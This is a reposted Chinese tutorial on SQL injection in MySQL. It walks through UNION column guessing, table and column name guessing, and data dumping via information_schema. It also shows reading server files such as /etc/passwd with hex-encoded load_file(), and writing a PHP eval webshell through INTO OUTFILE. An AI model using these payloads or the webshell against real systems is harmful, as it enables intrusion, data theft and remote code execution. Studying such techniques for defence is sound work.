黑客攻防之SQL注入原理解析入門教程

原文地址:http://blog.csdn.net/emaste_r/article/details/8156108

出現的關鍵名詞有: UNION  SELECT   load_file   hex    

爲了方便說明我們先創建兩個表:hehe和heihei,很明顯它們一個擁有2列屬性,一個擁有3列屬性


==========================================================================================

一. UNION 的原理

UNION 需要兩個被select的集合擁有相同的列數。一開始我並不是很理解這個相同是什麼,然後我做了個實驗:
這個錯誤提示很明顯了:ERROR 1222 (21000): The used SELECT statements have a different number of columns
因爲它們select出來的結果集的列數不一致,這對一個操作並集合的union來說是不可操作的,所以就報錯了。
那麼是不是隻要保證兩個結果集的列數相同就好了呢,我們繼續做實驗,

這個結果也是很明顯:OK !!!
總結:union連結的兩個結果集的列數要相等!

那麼我們是怎麼利用UNION搞注入呢?
(1)猜解表名,只有猜解對了表名才能繼續深入。用這句:
[sql] view plain copy
  1. select * from hehe where id = 3 and exists(select * from admin);  
exists()函數用於檢查子查詢是否至少會返回一行數據。實際上不返回任何數據,而是返回True或者False。結果當然是不存在啦:

如果表名存在就返回結果集:

總結:在實戰中我們可以用exsits()猜解表名

(2)用UNION猜解列數(- - 終於用到了UNION)
原理是:利用兩邊結果集必須相等列數!
[sql] view plain copy
  1. select * from hehe where id =3 and 1=1 union select 1,2,3;  

如圖,第一次我們猜測兩列(1,2)失敗了,第二次我們猜測三列(1,2,3)成功了。
總結:我們用and union select 1,2,3,4,5,6...;來猜解列數,只有列數相等了,才能返回True!

(3)猜解列名
用猜解表名的方法:
[sql] view plain copy
  1. select * from hehe where id=3 and exists(select name from hehe);  

如圖,第一次我們猜解有個列名爲name1,報錯了,第二次我們猜解列名爲name,返回正常,說明真的有個列名爲name!
總結:用 select * from hehe where id=3 and exists(select name from hehe);來猜解列名!

(4)猜解字段內容
這個通過步驟三我們已經猜解出列名:name和id了。那麼怎麼讓它們暴出內容呢?
用:
[sql] view plain copy
  1. select * from hehe where id=3 and 1=2  union select 0,0,name from hehe;  


總結:知道列名後,把列名至於其中任意位置,就能在那個位置暴出列的內容來。實戰中不是每一個列的內容都顯示在web page上的,所以有的人就先用:
[sql] view plain copy
  1. unoin select 1,2,3,4,5,6,7 from hehe;  
之類的語句,看看web page上出現的數字爲幾就把列名填寫在第幾個列上,如:web page上暴出5,那麼我們就把SQL語句改成:
[sql] view plain copy
  1. unoin select 1,2,3,4,name,6,7 from hehe;  
然後就能暴出來name的內容啦。。



二.load_file()和UNION 讀取服務器文件內容

函數 LOAD_FILE(file_name):讀取文件並將這一文件按照字符串的格式返回。 
文件的位置必須在服務器上 , 你必須爲文件制定路徑全名,而且你還必須擁有 FILE 特許權。
文件必須可讀取,文件容量必須小於 max_allowed_packet 字節。
若文件不存在,或因不滿足上述條件而不能被讀取, 則函數返回值爲 NULL。

這個load_file()看起來很正常,因爲它就是加載一個絕對路徑文件(先保證有讀權限)。可是神奇的是:
它可以在UNOIN中充當一個字段,能夠來讀取服務器的文件。
在我的服務器上有個文件:"d:/test.txt",裏面內容是:"key:HelloWorld.",看我用load_file把他讀取出來:
[sql] view plain copy
  1. select * from hehe where id=3 and 1=2 union select 0,load_file("d:/test.txt"),count(*) from mysql.user;  


總結:“A語句 UNION B語句” 中的這個UNION就是把最終的結果集放到“A語句"的屬性(列)下。上圖上結果是把0,放到列1下,把load_file("d:/tes.txt")的內容放到列2下,把count(*)返回的結果放到列3下。很科學地達到了我們讀取服務器文件的目的。

Ps:上面的 1=2 看到了嗎?是讓”A語句“查詢結果爲空,看着舒服。
Ps:這個load_file()用在MySQL中

load_file的過濾
實戰中URL寫成load_file("/etc/passwd")一般會被過濾,所以不科學,不過我們可以用16進制來表示(hex)就好啦:
打開UltraEdit,然後把 /etc/passwd 放到裏面,然後右鍵有個16進制編輯,然後就看到了16進制了:0x2F6574632F706173737764,知道爲什麼要加這個“0x”嗎?因爲它是16進制。。。

Ps:經驗哦~如果過濾了空格就用“+”表示


三 用select  into   outfile 把一句話木馬寫進文件 

[sql] view plain copy
  1. select '<?php eval($_POST[cmd])?>'  into outfile 'c://aa.php';  


然後我們將會看到:

裏面有一句話木馬: <?php   eval($_POST[cmd]) ?> 然後就能用菜刀去連接了。(什麼不知道什麼叫做一句話木馬?什麼叫做菜刀?趕緊去google吧)
總結:獲得數據庫權限真的是一件好事啊~~

四.用系統函數+UNOIN暴出數據庫的信息(如果web不禁用,極其高效!)

information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的數據庫
[sql] view plain copy
  1. select * from hehe where id=3 and 1=2  union select 0,0,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;  



information_schema.TABLES 表中的TABLE_NAME和TABLE_SCHEMA查看所有的表名和所在的數據庫:
[sql] view plain copy
  1. select TABLE_NAME ,TABLE_SCHEMA from information_schema.TABLES where TABLE_SCHEMA = "haha"  



information_schema.COLUMNS 表中的 COLUMN_NAME 查看錶中的所有列名
[sql] view plain copy
  1. select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= "hehe"l  



version() 版本(看第一列)


database() 當前數據庫名字(看第一列)


user() 當前用戶(看第一列)


@@global.version_compile_os  操作系統(看第一列):


and ord(mid(user(),1,1))=144查看數據庫權限(注意144就是字符”r“,也就是”root“的第一個字符):

Ps:有更好的unoin select user(),2,3 ;不用? 不是的,因爲實戰中有的web不準用。用這個就可以來查看數據庫權限啦~
Ps:ord(),若字符串str 的最左字符是一個多字節字符,則返回該字符的代碼。(多字節。。有意思。。)

總結:這個information_schema數據庫是個特別強大的數據庫,裏面包含的表很多,有SCHEMATAS(數據庫信息),TABLES(表信息),COLUMNS(列信息)等等。。。




發佈了42 篇原創文章 · 獲贊 6 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章